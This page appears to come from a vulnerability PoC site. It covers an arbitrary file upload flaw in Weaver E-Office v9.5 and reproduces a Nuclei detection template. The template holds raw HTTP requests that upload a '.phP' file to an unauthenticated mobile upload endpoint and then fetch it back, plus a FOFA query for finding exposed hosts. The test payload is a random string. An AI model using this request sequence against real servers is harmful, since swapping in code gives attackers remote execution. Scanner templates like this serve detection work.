weaver-eoffice-file-upload: Weaver E-Office v9.5 - Arbitrary File Upload

2025-08-01 Weaver E-Office PoC Public

Description

Weaver E-Office version 9.5 is susceptible to an arbitrary file upload vulnerability. This flaw allows malicious actors to upload and execute arbitrary code or files without proper validation or authorization.

PoC

id: weaver-eoffice-file-upload

info:
  name: Weaver E-Office v9.5 - Arbitrary File Upload
  author: princechaddha
  severity: high
  description: |
    Weaver E-Office version 9.5 is susceptible to an arbitrary file upload vulnerability. This flaw allows malicious actors to upload and execute arbitrary code or files without proper validation or authorization.
  reference:
    - https://github.com/RCEraser/cve/blob/main/Weaver.md
  classification:
    cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="泛微-EOffice"
    product: e-office
    vendor: weaver
  tags: e-office,weaver,intrusive,file-upload,vuln

variables:
  filename: '{{rand_base(7, "abc")}}'

http:
  - raw:
      - |
        POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt

        ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
        Content-Disposition: form-data; name="upload_quwan"; filename="{{filename}}.phP"
        Content-Type: image/jpeg

        {{randstr}}
        ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
        Content-Disposition: form-data; name="file"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--
      - |
        GET /attachment/{{id}}/{{filename}}.phP HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{randstr}}'

    extractors:
      - type: regex
        name: id
        part: body
        group: 1
        internal: true
        regex:
          - '\\\/attachment\\\/([0-9]+)\\\/'
# digest: 4b0a004830460221009ef29219119184c6625f5671a9a1a3cfddbae46c889340cdb23c1253a8f9424d022100846173b877cf0249757434a6d96bf07d2f6b366226babf4f8402ee84e682b4a3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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